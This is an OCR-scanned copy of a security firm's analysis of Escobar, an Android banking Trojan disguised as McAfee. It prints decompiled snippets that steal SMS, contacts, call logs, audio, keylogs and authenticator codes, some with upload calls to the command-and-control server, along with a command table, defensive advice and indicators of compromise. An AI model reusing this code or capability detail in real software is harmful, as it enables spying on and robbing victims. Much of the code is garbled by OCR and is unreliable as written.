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ABEREBOT RETURNS AS ESCOBAR
ANEW VARIANT OF THE POPULAR BANKING TROJAN

During Cyble’s routine Open-Source Intelligence (OSINT) research, we came across a Twitter post
wherein researchers mentioned a malware that has a name and icon similar to the legitimate anti-virus
app, McAfee. While analyzing the malware we observed that the package name of the malicious app was
com.escobar.pablo. Further research helped us identify this malware as a new variant of the popular
banking Trojan, Aberebot. Besides stealing sensitive information such as login credentials using phishing
overlays, Aberebot has also targeted customers of 140+ banks and financial institutions across 18
countries.

Cyble Research Labs has identified new features in this Aberebot variant, such as stealing data from
Google Authenticator and taking the control of compromised device screens using VNC, etc. Threat
Actors (TAs) have named the new variant as Escobar and published the feature details of the variant in a
cybercrime forum, as shown in the figure below.
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https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/
https://twitter.com/malwrhunterteam/status/1499390775775293454
https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/

[RENT] Escobar Bot Android Banking Trojan | VNC - Remote Screen Control | Panel | APK Builder
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Figure 1- Darkweb Post About Escobar

Technical Analysis

APK Metadata Information

e App Name: McAfee
o Package Name: com.escobar.pablo
o SHA256 Hash: a9d1561ed0d23a5473d68069337e2f8e7862f7b72b74251eb63ccc883ba9459f

Figure 2 shows the metadata information of an application.
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Figure 2 — App Metadata Information
The figure below shows the application icon and name displayed on the Android device.
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Manifest Description

The malware requests users for 25 different permissions, of which it abuses 15. These dangerous
permissions are listed below.

Permissions Description

READ_SMS Access SMSes from the victim’s device.
RECEIVE_SMS Intercept SMSes received on the victim’s device
READ CALL LOG Access Call Logs

READ_ CONTACTS Access phone contacts
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READ_PHONE_STATE Allows access to phone state, including the current cellular network
information, the phone number and the serial number of the phone,
the status of any ongoing calls, and a list of any Phone Accounts
registered on the device.

RECORD_AUDIO Allows the app to record audio with the microphone, which has the
potential to be misused by attackers

ACCESS_COARSE_LOCATION Allows the app to get the approximate location of the device network
sources such as cell towers and Wi-Fi.

ACCESS_FINE_LOCATION Allows the device’s precise location to be detected by using the
Global Positioning System (GPS).

SEND_SMS Allows an application to send SMS messages.

CALL_PHONE Allows an application to initiate a phone call without going through

the Dialer user interface for the user to confirm the call.

WRITE_EXTERNAL_STORAGE Allows the app to write or delete files in the device’s external
storage

READ_EXTERNAL_STORAGE Allows the app to read the contents of the device’s external storage

WRITE_SMS Allows the app to modify or delete SMSes

GET_ACCOUNTS Allows the app to get the list of accounts used by the phone

DISABLE_KEYGUARD Allows the app to disable the keylock and any associated password
security

We observed a defined launcher activity in the malicious app’s manifest file, which loads the first screen
of the application, as shown in Figure 4.

<activity android:name=fcom.example.pablo.MainActivityf android:enabled="true"=
<intent-filter=

<action android:name="android.intent.action.MAIN" /= Figure 4 —

<category android:name="android.intent.category. L AUNCHER" /=
</intent-ft1lter=

<factivity=

Launcher Activity

Source Code Review

Our static analysis indicated that the malware steals sensitive data such as Contacts, SMSes, Call logs,
and device location. Besides recording calls and audio, the malware also deletes files, sends SMSes,
makes calls, and takes pictures using the camera, etc., based on the commands received from the C&C
server.

The code snippet shown below is used by the malware to access the contacts data such as phone
numbers and email addresses from the victim’s device, as shown in Figure 5.
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public woid run() {
MalnActivity mainActivity = MainActivity.this;
String str = MainActivity.fS030000000;
String str2 = Build.BRAND + "%20%20° + Bulild.MODEL;
String str3 = MainActivity.OooQ000;
String strd = MainActivity.OooG000;
string locale = Locale.getDefault().toStringl);
string valuedf = String.valueOf (Build.VERSION. RELEASE) ;
MalnActivity malnActlvity2 = MainActivity.this;
String Ooo0o00 = malnActivity2.Ooo0000(mainActivity2. getApplicationContaxt()];
string replace = String.valueOf (Calendar.getInstance().getTime()).replace(" =, "%20");
MalnActivity mainActivity3 = MainActivity.this;
ContentResolver contentResolver = mainActivity3.getApplicationContext().getContentPesalver();
Objects.requlredoniull (mainActivity3);
ArrayList arrayList = new ArrayList():
if (e0000000.00c0000 (mainActivity3.getApplicationContext(), "android.permission.READ CONTACTS®) != 0) {
arraylList.add(" AN ERROR OCCURRED! COULD MNOT GET CONTACTS!®);
boe {
Cursor guery = contentResolver.querylContactsContract.CommonDatakKinds.Phone.CONTENT URI, null, mull, null, null];l
while (query.moveToMext(]] {
try {
if [arraylist.toString().length() < 7000) {
|arrayList.add(query.getString(query.getColumnIndexi*datal*)));|

Figure 5 — Code to Collect Contacts Data
The code shown in Figure 6 is used by the malware to collect SMSes from the device's inbox and upload
them to the C&C server.

Maindctivity maimactivity = this.Oooe0D0o;

if gext(), candegid permigaion BEAD Smee) == 0l {
Cursor query = mainActivity.getdpplicationtontext().getContentPesolver|).query(Uri.parse(*content:/ /sms/inbox® ), null, sull, aull, aulLif

it Tquery.moveToFarst(]] {
strd = "%
de

for [int 1 = 0; 1 = query.getCount{); ae+) {
if (1str2.contains (guery.getStringlquery.getColumnlndes (*addresa®)) & *<br=* + query.getString(guery.getColumnlndex(bedy® )] &L UPLEncoder

try
str2 = str2 + query.getString(guery.getColumnIndex|®address®]) + *<br=' + guery.getStringiquery.getColumnIndex(*bady®)) + "<hr=";
} catch (Exception el {

e.printStackTracel);

¥
}
b while (query.moveToMext!));
boelse {
Str2 = "ND SHS FOURMD TN INBOXE®
}

try 4
strl = UPLEncoder . encodei{str2, “UTF-8");
} catch [UnsupportedEncodingException a2}
az.printstackTrace(];
strd = "7

}

trangbul lder Qoo = qf.Cosb{"http:z//"];

Oood. append [Marnact: vl ty. Ooodd0o ] ;

Oocl. appand [ * /project fap: Methods /upleadInbox . php?botad="]
000, append (MainActivity. fS030000000)

DooD. appand [ Sinbox="1;

Figure 6 — Code to Collect Inbox SMSs
The malware collects incoming SMSes from the device and uploads them to the C&C server, as shown in
Figure 7.
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public woid onReceive(Context context, Intent intent) {
Bundle extras;
it l.[mtant wtm:twm:! equals(®*android, provider. Telaphony, SMS_DELIVER®) || intent.getAction().equals(®androad. provader.Telaphony, SMS_FECEIVED®)) &6 |
t[] objarr = (Object[]]) extras geti*pdus*);
agel] = AGEAFF = new age(cbjArr. Length) ;
for (int i = 0; 3 < chidrr,langth; 3++) {
if (Budld. VERSION.SDK_INT == 23] {
smaMessagedrr(1] = SmsMessage.createFreaPdul (byte[)) abjarr(i], extras.getString(®format®}];
b oelse
smsMessagedrr(i] = SmsMessage.createFromPdul (byte[]] objarriall;

this. Goo0000 = smsMessagedrr[1].getHessageBady();
this, 0000000 = smsMessageirr(i].getOriginatingaddress();
try {
StrictMode. setThreadPolicy (new StrictMede.ThreadPolicy.Builder() . permitalli) build(}];
hih. 000000 copD00c = new hh, CoolO0a(];
Timelnit Timelnit = Timelnlt,SECONDS;
00000, 0oo0000 | 10, timeUnit);
000000 . Doo0000| 10, timelnit);
0000000, 0oo0000( 10, tamslnit);
hh hhvar = mew hhicooD00o];
ih.0oo0000 o000 = new jh. ocOO0o();

20000002, 0op0000( “http://" + MainActivaty.Ooo0000 + "/project/apiMethods/uploadlog. php?log=" + Calendar.getInstance(].getTamel). toStringl

1
} eateh (Excepticn a) {
@.printStackTracel);

Figure 7 — Code for collecting Incoming SMSs
The code snippet shown below depicts the malware’s ability to collect call logs from the device and
upload it to the C&C server.

Hamﬁc'twlty lamﬁcnutﬂ = ﬂus 00000(‘.\0 _

Cursur query: = -mnhcunty: gatﬁpplicatlnmnntart[j gatcantentﬁeao'l_war[:l quarylﬁurl parset content: ffcall_logsealls® ), mull, nuoll, nnll—l
siring SLrq = b

while (guerve,moveToent(l) (

string string = query2.getstringlquery2.getColumnindex(~nurber=]);

String String2 = query2.getstring(query2.getColumnIndes " duration®)];

ng string3 = query2.getString (query2. getColumIndex(*date)];

int parselnt = Integer.parselntiquery2.getStringlquery2.getColumnIndex (" type-]]);

Calendar.getInstancel).setTimelnM Ll1silong.parselonglstrang3li;
if (URLEncoder.encode{strd, "UTF-8).length() = 7000) {
$tra = “<hemumber: </bs" 4+ gtring + "<b> Duration: </b>" + gtring2 + "<b> Type: </b>" + parselnt + " <bra<br>" + str4;

}
¥
try |
str = URLEncoder.encodelstra, “UTF.8%);
} catch {(UnsupportedEncodingException a3) {
e3.printStackTrace();
str = *";
}
StringBu lder Qeol2 = q7.Ceal{*http://*);
Oop02. append (MainActivity . 0oo0000)
Ooo02. append(® sproject/apiMetheds f'upleadCall. phptbotid=")
00602, append (Mainetlvity. FSO030000000 ) §
Ooo0Z. append [ = calllogs="];

Figure 8 — Code to Collect Call Logs
Figure 9 showcases the code that illustrates the malware’s ability to steal application key logs.

public static veid OosO00O(String ste) {
try

|5:r|ct¥bdo.utThrudPo1:q[nm StrictMode.ThreadPolicy.Builder (). perma tallil buzld() It
- = new hh. DooUO0GT T

TimeUnit timelnit = Timelnit,SECOMDS;
oo0000. 0000000 [ 10, timeunit);
coo000e. Cea000n (10, timeUnit);
000000 Doo0000( 10, timelnit);

hh hh\'lr new hh(ooo0000)

r b, Sooth0e | )]

* Hll.nktnlty Ooold0o + */project fapiMethods fuploadseylogs. phpthbotide® + Maandctivity.f5030000000 + *Gheylogss" + LR.EﬂEQI‘.r.II"IEBd.l
e, T ool new ool 17 ;

Donm :Iinrﬂ
} cateh (Unsupported moExcaption &)

Figure 9 — Code to steal key logs
In the below image, we see the code that is used by the malware to record audio from an infected device
based on the TA's command.
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public woid run(l {

I0Exception aj
AudioRscorder audicRecarder = AudioRecorder, this:
int 1 = ludwﬁecord&r Onnm,

ALdL orade 13 = ﬁlﬂﬁ LH
audlomcnrder fdmom releasal);
audioRecorder, f 4890000000 = null;

try {
leloputctress f1lalngutStream < new F1leloont=traaniney F1lelaudigRecardar f4300000000) 0

Http Conngction h“pLﬂ_ﬂunnI:tan = I,H'!!pl.l’LCann-uct:an Aew URL[“httg: /" & H.nn.lu:tlutr Ooe000a + '.-'pruJocl}.\plmI:Imdu_-".:p'l:.l:ll.-?'r_'.php.‘bo!ld:l

REtpURLCennec L1on, setbalnput  truel ;

httpURLConnection, setDolutput (true);

httpURLConnection, setlseCaches | false);

httpURLConnection, setRaquastMethod (*POST ] ;

httpURLConnection. setRequestProperty [ Connection®, *Keep-Alive®);

httpURLCennection, setRequestProperty ("BNCTYPE", "multipart/torm-data®);

httpUPLConnection. setRaquestProperty (*Content-Type®, *multipart/fors- data;boundary=tesees ).

httpURLConnection, setRaquastProperty (*Cockie®, Hamﬂctw:.ty.momulj

httpLH_I'_'Dnnl-:non setRequestProperty (“uploaded f11 L'_ audicRecorder . f 4800000000 ) £

Datal ean datafutputStream = mew DatalutputStream(httpURLConnection, getlutputStreaml)];
dlt;&ﬂ:putﬁtrl:m writeBytes(® .. *ewew ryns ).
datalutputStrean, writeBytes(®Content-Dispesition: form-data; name=\uploaded filey;filename=" + audioRecorder.fa900ec000e + "\ rin'):

Figure 10 — Code to records Audio
On the TA's command, the malware tries to steal Google authenticator codes, as shown below.

[ if (this.f ns{*Get Google Authenticator Codes®}) {
Intent launchlntentFnrDackag = getPackageManager () .getLaunchIntentForPackage(“com.google.android.apps. authenticator2® JI
oDo0l = true;
flags = launchIntentForPackage.setFlags(268435456) ;

Figure 11 — Steals Google Authenticator Code
The Escobar malware variant also uses VNC Viewer to remotely control the screens of an infected

device, as shown below.

}Ielst if (this.fS010000000.containg("Start UHC':':II{
Accessibi (1tyService.Dool0o = true;
} else if (this.fS010000000.contains(*Enable Motfication Access®)) {
if [lgetdpplicationContext() . getSharedPreferences(®sharedrrefs®, 0).getBooalean(*notification®, false]) {
charedPreferences Editer edit = getapplicatisnContext|).getSharedPreferences(®sharedPrefs®, o) adit();
edit.putBaolean|“uninstal lProtection®, falsel:

edit.applyl];
flags = mew Intent("android.settings. ACTION_MOTIFICATION LISTENER SETTINGS®).setFlags|268435456) ;

1
Helse if (this.fS0100a0000.contains (*Stop WNC* )| 4
AccesslbrlityService . Doolde = Talse;
T oelse {
try |
[if (this.fS010000000. contains(*vhCClick® ) ) |{
tring strll = thais 15010000000
float floatvalue = Float.valwedf (strll.substring{stell.index0f(*[*) + 1, this.f501000000c. indexaf (=1°))) . floatvalue();
tring $trl2 = this.f5010000000;
AecessibilityService. 0060000 = Float.valueOf [strl2. substringletrl2. index0of(* ("} + 1, this fS010000000. index0f (*)*)]) fleatvalue();
AccessibilityService.DooD000 = floatValue
AecessibilityService. f4670000000 = “click®;
- I' a

| =
else if [this.{5010000000. contains (" viCHold® )] |{
strang strid = Thas  To0I0000000;
float fleatvalue2 = Float.valueOf (strl3, substring(strl2, index0f (*[*} + 1, this. fS01000000c.index0f (*]1°)])) . floatvalue();

string strld = this, 5010000000 ;
AccessibilityService. 0000000 = Float.valuedf [strld, substringl(strld.indexof (*{*} + 1, this.fS010000000.indexof (*)°]1]]) . fleatvaluel(];

AecessibilityService. Ooc0000 = flht'ﬂlw?.
aecessibilityService. 4570000000 = “hold®

str
b oelse if ﬂthls,fﬂlﬂwm.:untams’. *VRCDrag® J] {

Figure 12 — Uses VNC Viewer to Control Device Screen
The malware can take pictures and also has the code to send text SMSes to a specific phone number or
to all the contacts saved in the victim’s device without the user’s knowledge. Refer to figure 13 for the

code used by the malware for this purpose.

else if (this|f5010000000.contains("Take Photo"))] {
startService (new Intent(getApplicationContext(), Camerafctivity.class).addFlags(268435456));
str2 = this, 5010000000

else [if (!this.f5010000000.contains("Send SMS") || this.f5010000000.contains("aAL1l")) {
if |(this.fS010000000.contains("Send SMS to ALL Contacts")) {

Arraylist arrayllst = (Arraylist) OooO000(getdpplicationContext().getContentResolver());

string strd4 = this.fS010000000;

Figure 13 — Code to take Pictures and send SMSs
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Acting to the commands given by the TAs C&C, the Escobar malware is capable of injecting URLs in the
victim’s device, as shown below.

{this [15010000000. contains (*Inject a web page® )] {
booco gtrs o thys 501 Daa0Nn -
|f1..ng3 = new Intent(getApplicationContext(]), Bank.elass).putExtral®inject®, strS.substring(strS.indexof (*[*) = 1, thi:.fSﬁlmamon.mth‘f-f']':Ii-l

Figure 14 — Injects URLs
The malware can also steal media files from the victim’s device, as shown in the below code snippet.

Iif [this.fS010000000.contains(*Download F1lq']fl| {
string stre = this. 35010000000 ;
| ] = | ] (=l=] + i indexQf (=1=102
getpplicationContext().getContentResolver().query(MediaStore. Images . Media. EXTERNAL_CONTENT LRI, null, mull, nulll}

Cursor query =

while [truel 1

if (! guery.moveToMext(}) {
break:

}

7 string = query.getString(query.getColumnIndex(®_data®));
if (string.contains(substring2)) {
query.close();
Dool0oistring) ;

Figure 15 — Steals Files on the Device
The image below depicts the malware’s ability to collect device location.

public void onLocationChanged(Location location) {
try_{
|CommandLiSteher.this.fSGOOnnOOOn,Onoonno[lotatinn.getLatitude(] + "S2C" + location.getLongitude[})j
} catch (Exception el 1
e.printStackTracel();

Figure 16 — Code to Collects Device Location
Figure 17 showcases the code snippet used by the Escobar malware to monitor the victim’s device
notifications.

public void|ontotificationPosted(StatusBartotification statusBarbotification)](

Par [TE IF 1IN

if] (statusBartotification.getPackagedams | ) equals(Telephony . Sms. getDef aultSmePackaga(this))) {
cancelallhotifications();

if fstatusBartetification.getiotification().actions |= pull &5 hcce*.-51b111tysewue.f-!a@oonmoo.contams-:statusBarNoui:catwn.qetDackaquam:]]'
118 auy
statusBardotification.getMotification() . actions[0].actionlntent.send )
} catch [(PendingIntent.CanceledException el {
e printStackTrace()

Figure 17 — Code for monitoring device notifications
The malware can also kill itself whenever it gets the commands from the C&C server.

else if (this.fS0l0co0000.containsy"K1iLL Bot" )|} {
startService (new Intent(getépplicationontext(), Uninstall.class)):

Intent intent = new Intent("android.settings.APPLICATION DETAILS SETTINGS") Fi 18
intent.addCategory("android.intent.category . DEFALLT" ) ; Igure 16—
StringBuilder Opo02 = g7.0000("package:");
Oopo02. append(getPackageMame () ) ;
Code to kill Itself
Below are the commands used by the TAs to control the infected device:
Command Description
Take Photo Capture images from the device’s camera
Send SMS Send SMS to a particular number
Send SMS to All Contacts Send SMS to all the contact numbers saved in the device
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Inject a web page Inject a URL

Download File Download media files from the victim device
Kill Bot Delete itself

Uninstall an app Uninstall an application

Record Audio Record device audio

Get Google Authenticator Codes Steal Google Authenticator codes

Start VNC Control device screen

Conclusion

Banking threats are increasing with every passing day and growing in sophistication. Escobar is one such
example. The newly added features in the Escobar malware allow the malicious app to steal information
from the compromised device. According to our research, these types of malware are only distributed via
sources other than Google Play Store. As a result, practicing cyber hygiene across mobile devices and
online banking applications is a good way to prevent this malware from compromising your system.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against
attackers. We recommend that our readers follow the best practices given below:

How to prevent malware infection?

Download and install software only from official app stores like Google Play Store or the iOS App
Store.

Use a reputed anti-virus and internet security software package on your connected devices, such as
PCs, laptops, and mobile devices.

Use strong passwords and enforce multi-factor authentication wherever possible.

Enable biometric security features such as fingerprint or facial recognition for unlocking the mobile
device where possible.

Be wary of opening any links received via SMS or emails delivered to your phone.

Ensure that Google Play Protect is enabled on Android devices.

Be careful while enabling any permissions.

Keep your devices, operating systems, and applications updated.

How to identify whether you are infected?

Regularly check the Mobile/Wi-Fi data usage of applications installed in mobile devices.
Keep an eye on the alerts provided by Anti-viruses and Android OS and take necessary actions
accordingly.

What to do when you are infected?

Disable Wi-Fi/Mobile data and remove SIM card — as in some cases, the malware can re-enable the
Mobile Data.
Perform a factory reset.
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* Remove the application in case a factory reset is not possible.
o Take a backup of personal media Files (excluding mobile applications) and perform a device reset.

What to do in case of any fraudulent transaction?

In case of a fraudulent transaction, immediately report it to the concerned bank.

What should banks do to protect their customers?

Banks and other financial entities should educate customers on safeguarding themselves from
malware attacks via telephone, SMSes, or emails.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name

Initial Access T1476 Deliver Malicious App via Other Mean.
Initial Access T1444 Masquerade as Legitimate Application
Execution T1575 Native Code

Collection 11433 Access Call Log

Collection T1412 Capture SMS Messages

Collection T1432 Access Contact List

Collection T1429 Capture Audio

Collection T1512 Capture Camera

Collection T1533 Data from Local System

Collection T1430 Location Tracking

Command and Control T1436

Indicators of compromise

Commonly Used Ports

Indicators Indicator Description
Type

a9d1561ed0d23a5473d68069337e2f8e7862f7b72b74251eb63ccc883ba9459f SHA256  Escobar
APK

22e943025f515a398b2f559c658a1a188d0d889f SHA1 Escobar
APK

d57e1c11f915b874ef5c86cedb25abda MD5 Escobar
APK
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https://attack.mitre.org/versions/v7/techniques/T1476/
https://attack.mitre.org/versions/v7/techniques/T1444
https://attack.mitre.org/versions/v7/techniques/T1575/
https://attack.mitre.org/techniques/T1433
https://attack.mitre.org/techniques/T1412
https://attack.mitre.org/techniques/T1432
https://attack.mitre.org/techniques/T1429
https://attack.mitre.org/techniques/T1512
https://attack.mitre.org/techniques/T1533
https://attack.mitre.org/techniques/T1430
https://attack.mitre.org/techniques/T1436

